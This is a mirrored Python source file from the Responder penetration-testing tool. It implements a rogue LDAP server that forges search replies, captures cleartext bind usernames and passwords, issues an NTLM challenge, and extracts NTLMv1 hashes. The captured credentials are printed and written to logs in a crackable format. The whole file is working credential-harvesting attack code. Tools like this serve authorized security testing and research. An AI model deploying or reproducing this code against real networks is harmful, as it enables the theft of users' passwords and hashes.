mirror of
https://github.com/lgandx/Responder.git
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129 lines
4.6 KiB
Python
129 lines
4.6 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder
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# Original work by Laurent Gaffie - Trustwave Holdings
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import os
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import struct
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import settings
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from SocketServer import BaseRequestHandler
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from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
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from utils import *
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def ParseSearch(data):
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Search1 = re.search('(objectClass)', data)
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Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
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Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
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if Search1:
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return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
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if Search2:
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return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
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if Search3:
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return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
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def ParseLDAPHash(data, client):
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SSPIStart = data[42:]
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LMhashLen = struct.unpack('<H',data[54:56])[0]
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if LMhashLen > 10:
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LMhashOffset = struct.unpack('<H',data[58:60])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[64:66])[0]
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NthashOffset = struct.unpack('<H',data[66:68])[0]
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NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[72:74])[0]
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DomainOffset = struct.unpack('<H',data[74:76])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[80:82])[0]
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UserOffset = struct.unpack('<H',data[82:84])[0]
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User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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print text("[LDAP] NTLMv1 Address : %s" % client)
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print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
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print text("[LDAP] NTLMv1 Hash : %s" % NtHash)
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WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
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WriteData(settings.Config.LDAPNTLMv1Log % client, WriteHash, User+"::"+Domain)
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if LMhashLen < 2 :
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print text("[LDAP] Ignoring anonymous NTLM authentication")
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def ParseNTLM(data,client):
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Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
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Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
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if Search1:
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NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
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NTLMChall.calculate()
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return str(NTLMChall)
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if Search2:
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ParseLDAPHash(data,client)
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def ParseLDAPPacket(data, client):
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if data[1:2] == '\x84':
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PacketLen = struct.unpack('>i',data[2:6])[0]
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MessageSequence = struct.unpack('<b',data[8:9])[0]
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Operation = data[9:10]
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sasl = data[20:21]
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OperationHeadLen = struct.unpack('>i',data[11:15])[0]
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LDAPVersion = struct.unpack('<b',data[17:18])[0]
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if Operation == "\x60":
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UserDomainLen = struct.unpack('<b',data[19:20])[0]
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UserDomain = data[20:20+UserDomainLen]
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AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
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if AuthHeaderType == "\x80":
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PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
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Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
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print text("[LDAP] Client : %s" % color(client, 3, 0))
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print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
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print text("[LDAP] Password : %s" % color(Password, 3, 0))
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WritePass = '%s: %s:%s' % (client, UserDomain, Password)
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WriteData(settings.Config.LDAPClearLog % client, WritePass, WritePass)
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if sasl == "\xA3":
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Buffer = ParseNTLM(data,client)
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return Buffer
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elif Operation == "\x63":
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Buffer = ParseSearch(data)
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return Buffer
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else:
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print text('[LDAP] Operation not supported')
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# LDAP Server class
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class LDAP(BaseRequestHandler):
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def handle(self):
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try:
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while True:
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self.request.settimeout(0.5)
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data = self.request.recv(8092)
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Buffer = ParseLDAPPacket(data,self.client_address[0])
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if Buffer:
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self.request.send(Buffer)
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except socket.timeout:
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pass
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